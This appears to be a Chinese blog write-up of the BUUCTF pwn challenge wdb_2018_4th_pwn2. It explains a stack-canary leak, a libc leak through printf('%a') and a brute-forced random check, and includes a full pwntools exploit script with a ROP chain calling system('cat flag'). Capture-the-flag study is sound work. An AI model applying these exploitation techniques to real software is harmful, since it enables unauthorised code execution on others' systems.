[BUUCTF-pwn] wdb_2018_4th_pwn2

最新推荐文章于 2023-04-03 00:38:30 发布

石氏是时试

最新推荐文章于 2023-04-03 00:38:30 发布

阅读量251

点赞数

分类专栏： CTF pwn 文章标签： c语言开发语言后端

本文链接：https://blog.csdn.net/weixin_52640415/article/details/121456310

版权

CTF pwn 专栏收录该内容

184 篇文章 9 订阅

订阅专栏

printf('%a')

程序有4个函数：

在栈内写,可溢出，但由于有canary不通直接写ROP，且只能运行1次
在bss写，可以递归式调用
可以运行printf(input ,1) 这里input只能2字节
把门把bss写入栈内溢出，但要求输入与随机数相等,，并且关闭输入，无法交互

要点：

printf('%a',1)浮点格式可以带出libc
8位随机数，会有0的时候，而且从事实上看1000次以内就能成功

步骤：

先调用2多次，因为递归调用会在栈内多次布放canary，这些失效的canary在调整好payload长度时被带出
用%a 取得libc
由于爆破成功后会关闭输入，所以直接调用system(cat flag)

from pwn import *

'''
patchelf --set-interpreter /home/shi/pwn/libc6_2.23/ld-2.23.so pwn
patchelf --add-needed /home/shi/pwn/libc6_2.23/libc-2.23.so pwn
'''

local = 0
if local == 1:
    p = process('./pwn')
    libc_elf = ELF("/home/shi/pwn/libc6_2.23/libc-2.23.so")
    one = [0x45226, 0x4527a, 0xf0364, 0xf1207 ]
    libc_start_main_ret = 0x20840
else:
    p = remote('node4.buuoj.cn', 26292) 
    libc_elf = ELF('../libc6_2.23-0ubuntu10_amd64.so')
    one = [0x45216, 0x4526a, 0xf02a4, 0xf1147 ]
    libc_start_main_ret = 0x20830

elf = ELF('./pwn')
context(arch = 'amd64')

menu = b"option:"
def get_stack(msg):
    p.sendlineafter(menu, b'1')
    p.sendafter(b"once..\n", msg)
    p.recvuntil(msg)
    canary = b'\x00' + p.recv(7)
    return canary

def copy_canary(msg=b'A',n=0):
    p.sendlineafter(menu, b'2')
    for i in range(n):
        p.sendlineafter(b"bored...", b'A')
        p.sendlineafter(b"Satisfied?y/n\n", b'n')
    p.sendlineafter(b"bored...", msg)
    p.sendlineafter(b"Satisfied?y/n\n", b'y')

def get9011():
    p.sendlineafter(menu, b'9011')
    p.sendafter(b"Input your secret code:", b'\x00'*8)

#get canary
copy_canary(n=5)
payload = b'A'*0xa9
canary = get_stack(payload)
print(hex(u64(canary)))

#get libc
#0x0.07ffff7dd26a3p-1022Guess your option:haha
#gdb-peda$ x/20gx 0x7ffff7dd26a3
#0x7ffff7dd26a3 <_IO_2_1_stdout_+131>:	0xdd3780000000000a	0xffffff00007ffff7
p.sendlineafter(menu, b'3')
p.sendafter(b"think?)\n", b'%a')
p.recvuntil(b'0x0.0')
libc_base = int(p.recvuntil(b'p-', drop=True), 16) - libc_elf.sym['_IO_2_1_stdout_'] -131
system = libc_base + libc_elf.sym['system']
bin_sh = libc_base + next(libc_elf.search(b'/bin/sh'))
print('libc:', hex(libc_base))

#write rop 0x602080
pop_rdi = 0x0000000000400c53 # pop rdi ; ret
bss     = 0x602080
payload = b'cat flag' + canary + flat(0, pop_rdi, bss, system)
copy_canary(msg=payload)

for i in range(9999):
    get9011()
    if p.recv(2, timeout=0.1) != b'Am':
        print('.', end='')
        continue
    p.recv()
    p.interactive()